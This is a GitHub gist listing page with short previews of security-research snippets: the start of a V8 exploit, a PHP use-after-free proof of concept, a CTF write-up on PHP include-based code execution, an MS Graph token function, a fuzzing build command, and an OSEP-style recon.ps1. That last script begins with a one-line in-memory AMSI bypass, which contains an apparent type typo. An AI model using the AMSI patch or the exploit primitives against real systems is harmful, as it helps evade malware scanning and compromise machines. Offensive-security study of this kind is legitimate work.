Skip to content

Instantly share code, notes, and snippets.

View the-emmons's full-sized avatar

Ryan Emmons the-emmons

  • Rapid7
  • Chicago
View GitHub Profile
@TheRealXaiL
TheRealXaiL / hulksmashemailfilter.py
Last active April 14, 2023 21:19
hulk smash email filtering
import sys
import lxml.etree as etree
from urllib import request
import dns.resolver
def main(domain):
get_expensive_solution(domain)
get_federation_info(domain)
def get_expensive_solution(domain):
@anvbis
anvbis / b5fa92428c9d4516ebdc72643ea980d8bde8f987.js
Created April 11, 2023 07:08
b5fa92428c9d4516ebdc72643ea980d8bde8f987.js
/*
HEAD @ b5fa92428c9d4516ebdc72643ea980d8bde8f987
*/
let buf = new ArrayBuffer(8);
let f64 = new Float64Array(buf);
let i64 = new BigUint64Array(buf);
const ftoi = x => {
f64[0] = x;
@LuemmelSec
LuemmelSec / GBC.ps1
Last active December 15, 2025 12:53
Give Back Control over Windows functions script
$elevated = ([Security.Principal.WindowsPrincipal][Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)
function Show-Menu {
Clear-Host
Write-Host "======================================================"
Write-Host "================ Give Back Control ================"
Write-Host "======================================================"
if($elevated -eq $true){
Write-Host "Local Admin: " -ForegroundColor white -NoNewline; Write-Host $elevated -ForegroundColor Green
Write-Host "We have superpowers. Ready to continue."
@alexander-hanel
alexander-hanel / bn-cheat.md
Last active December 28, 2025 10:05
Cheat Sheet for Binary Ninja
# Function for getting an MS Graph Token
Function Get-MSGraphToken {
<#
.DESCRIPTION
Requests a token from STS with the MS Graph specified as the resource/intended audience
#>
[cmdletbinding()]
param(
[Parameter(Mandatory = $True)]
[string]
@X-C3LL
X-C3LL / uaf-leak.php
Created January 5, 2022 00:40
PoC BUG #81691 (PHP)
<?php
// BUG #81691 https://bugs.php.net/bug.php?id=81691
// POC: Memory Leak via Use-After-Free
//export USE_ZEND_ALLOC=0
@loknop
loknop / writeup.md
Last active March 13, 2026 05:08
Solving "includer's revenge" from hxp ctf 2021 without controlling any files

Solving "includer's revenge" from hxp ctf 2021 without controlling any files

The challenge

The challenge was to achieve RCE with this file:

<?php ($_GET['action'] ?? 'read' ) === 'read' ? readfile($_GET['file'] ?? 'index.php') : include_once($_GET['file'] ?? 'index.php');

Some additional hardening was applied to the php installation to make sure that previously known solutions wouldn't work (for further information read this writeup from the challenge author).

I didn't solve the challenge during the competition - here is a writeup from someone who did - but since the idea I had differed from the techniques used in the published writeups I read (and I thought it was cool :D), here is my approach.

@tahadraidia
tahadraidia / recon.ps1
Last active May 3, 2025 08:57
This script is part of PEN300 MSF script, this script could be represented as recon script bundle, for more details please see: https://tahadraidia.com/posts/automate-the-reconnaissance-phase/ #OSEP #PEN300 #Powershell #DOTNET
# Patch API
$a=[Ref].Assembly.GetTypes();Foreach($b in $a) {if ($b.Name -like "*iUtils") {$c=$b}};$d=$c.GetFields('NonPublic,Static');Foreach($e in $d) {if ($e.Name -like "*Context") {$f=$e}};$g=$f.GetValue($null);[IntPtr]$ptr=$g;[Int33[]]$buf = @(0);[System.Runtime.InteropServices.Marshal]::Copy($buf, 0, $ptr, 1)
# Check if current user has permissions
# to write in C:\Windows\Tasks otherwise
# use public.
$Folder = "C:\Windows\Tasks"
$global:recondir = ""
$permission = (Get-Acl $Folder).Access | ?{$_.IdentityReference -match $env:USERNAME} | Select IdentityReference,FileSystemRights
If ($permission){
@insi2304
insi2304 / cmake_build.sh
Created September 8, 2021 11:15
cmake AFL build
#!/bin/bash
cmake -DCMAKE_C_COMPILER=afl-clang-fast -DCMAKE_CXX_COMPILER=afl-clang-fast++ -DCMAKE_CXX_FLAGS="-fno-rtti -fsanitize=address,undefined -fno-sanitize-recover=all -g" -DCMAKE_C_FLAGS="-fno-rtti -fsanitize=address,undefined -fno-sanitize-recover=all -g" -DCMAKE_EXE_LINKER_FLAGS="-fno-rtti -fsanitize=address,undefined -fno-sanitize-recover=all" DCMAKE_INSTALL_PREFIX=/home/fuzz/fuzzing/xpdf-4.03/install/ -DCMAKE_MODULE_LINKER_FLAGS="-fno-rtti -fsanitize=address,undefined -fno-sanitize-recover=all" -DCMAKE_BUILD_TYPE=Debug,ASAN,UBSAN -DWITH_SSE2=ON -DMONOLITHIC_BUILD=ON -DBUILD_SHARED_LIBS=OFF .